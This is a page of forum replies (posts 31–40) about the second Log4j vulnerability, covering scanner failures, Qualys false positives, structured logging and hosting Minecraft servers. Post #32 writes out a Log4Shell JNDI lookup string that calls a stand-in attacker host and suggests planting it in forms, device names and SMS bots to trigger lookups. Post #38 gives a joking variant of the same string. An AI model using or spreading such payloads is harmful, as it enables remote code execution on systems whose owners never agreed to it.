looks like most end users wont be affected by this one, unlike the previous. never seen these options enabled in the wild
if only the world could truly be protected by anecdotes of one.
Log4Shell update: second Log4j vulnerability published
31–40 of 289 posts
Re: Log4Shell update: second Log4j vulnerability published
#32Earlier quoted context omitted.
Too much fun to think about the ways to get hits. All it takes is a simple string. Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes. Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits. N…
My favorite was responding to SMS bots https://twitter.com/infosecatom/status/1469774771634249740?s...
Just read through some of that. My favorite response: "Is it wrong to use a log4j exploit as a password?
I mean, passwords shouldn't be coming anywhere near logging code... right?"
How many times have we heard of raw text passwords being saved in logs?
Re: Log4Shell update: second Log4j vulnerability published
#33This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).
One of the random thoughts I had was that I’m sure there’s going to be plenty of clever ways to obfuscate the jndi payload, sort of how you can ping an IP address in octal, an integer, or hex:
Re: Log4Shell update: second Log4j vulnerability published
#34The one thing we can all be sure of though is that our elections are the most secure.
Re: Log4Shell update: second Log4j vulnerability published
#35My kids are tremendously disappointed that the Minecraft server is not coming back up in the near future.
run a Digital Ocean droplet hosting the server? It's up to you if the costs justify the benefits.
This why I've given up and just pay to host anything external to scratch my self hosting itch.
If they somehow manage to get in at least they won't be roaming around inside my home network. The flood of failed auth attempts and weird looking strings being sent to my web server is never ending.
It might be something worth reconsidering once the world is on IPv6 and we have proper subnetting we can use at home.
Re: Log4Shell update: second Log4j vulnerability published
#36This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).
log4j 2 isn't in so many things AFAIK? log4j 1.x is in everything, but that's not vulnerable.
Re: Log4Shell update: second Log4j vulnerability published
#37Their scanner linked from their Mitigation Guide didn't work for me at all. I scanned a bunch of ear, war, and jar files that have log4j 2.x in them and it didn't find any of them. I guess for the reason described here: https://github.com/lunasec-io/lunasec/issues/301 This is less than helpful if people use this and then believe they are safe.
I had to deal with the opposite problem this week. My company uses Qualys for our vulnerability management stuff and after our security guys ran their scans throughout the network over the weekend we had a bunch of false positives. Seems that they were alerting on log4j-api in addition to log4j-core (only log4j-core is impacted per Apache). Looks like Qualys fixed it on Monday though so this shouldn't be a problem going forward if anyone else uses them.
https://blog.qualys.com/vulnerabilities-threat-research/2021...
Re: Log4Shell update: second Log4j vulnerability published
#38The one thing we can all be sure of though is that our elections are the most secure.
Election machines usually don't accept any input from outside sources?
You can't write in {jndi:ldap://voteforme.com} as your preferred candidate
Re: Log4Shell update: second Log4j vulnerability published
#39Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.
I don't use java and have never touched log4j, but structured logs are utterly fantastic and combined with an appropriate log server are far more useful than plain text.
Structured logging is great, but it's vital to keep them structured all the way through. Having an API where you pass a string and then something on the other side tries to parse that string back into structured data is a recipe for disaster.
Re: Log4Shell update: second Log4j vulnerability published
#40Earlier quoted context omitted.
run a Digital Ocean droplet hosting the server? It's up to you if the costs justify the benefits.
This why I've given up and just pay to host anything external to scratch my self hosting itch. If they somehow manage to get in at least they won't be roaming around inside my home network. The flood of failed auth attempts and weird looking strings being sent to my web server is never ending. It might be something worth reconsidering once the world is on IPv6 and we have proper subnetting we can use at home.
Why would IPv6 make a difference? Addresses aren't private information and they aren't given out randomly.